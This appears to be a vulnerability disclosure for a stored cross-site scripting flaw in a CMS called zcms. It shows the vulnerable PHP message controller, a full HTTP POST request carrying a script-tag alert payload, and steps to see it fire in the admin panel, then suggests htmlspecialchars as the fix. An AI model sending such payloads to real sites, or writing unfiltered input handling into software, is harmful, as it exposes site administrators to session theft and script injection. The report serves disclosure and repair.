zhendezuile Rename zcms_xss to zcms History

1 contributor

60 lines (49 sloc) | 1.92 KB

```
Vulnerability file: \Application\Home\Controller\MessageController.class.php
You can see that the xss vulnerability is not filtered here
.......................
<?php
namespace Home\Controller;

class MessageController extends HomeController{

        public function add()
        {
                if(IS_POST){
                        $msg=$_POST;
                        $data['name']=$msg['name'];
                        $data['email']=$msg['email'];
                        $data['phone']=$msg['call'];
                        $data['ip'] = get_client_ip();
                        $data['content']=$msg['content'];
                        $data['listorder']='0';
                        $data['date']=date('Y-m-d h:m:s',time());


                        $mssage = M("message");
                        $msg_collection=$mssage->add($data);

                        if($msg_collection){
                                $this->success('留言成功');
                        }else{
                                $this->error('留言失败，请重试');
                        }
```

```
                }
        }

}
.....................
Vulnerability to reproduce:
1、Visit url: http://www.xxx.com/index.php?m=home&c=message&a=add , use the post method to pass in
................................................
POST /index.php?m=home&c=Message&a=add HTTP/1.1
Host: www.xiaodi.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=pfgcn6dhcti4sov4qsvbf3a2p3
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 102

name=<script>alert('forever_free')</script>&email=forever_free@qq.com&call=123456&content=forever_
.............................................

2、Access background address: http://www.xxx.com/Admin/Message/index/menuId/132 , you can see the s
Or you can log in to the background, click Extension Tools, and then click Message Management, a po

Repair suggestion:
Use php built-in functions such as htmlspecialchars to filter xss vulnerabilities


```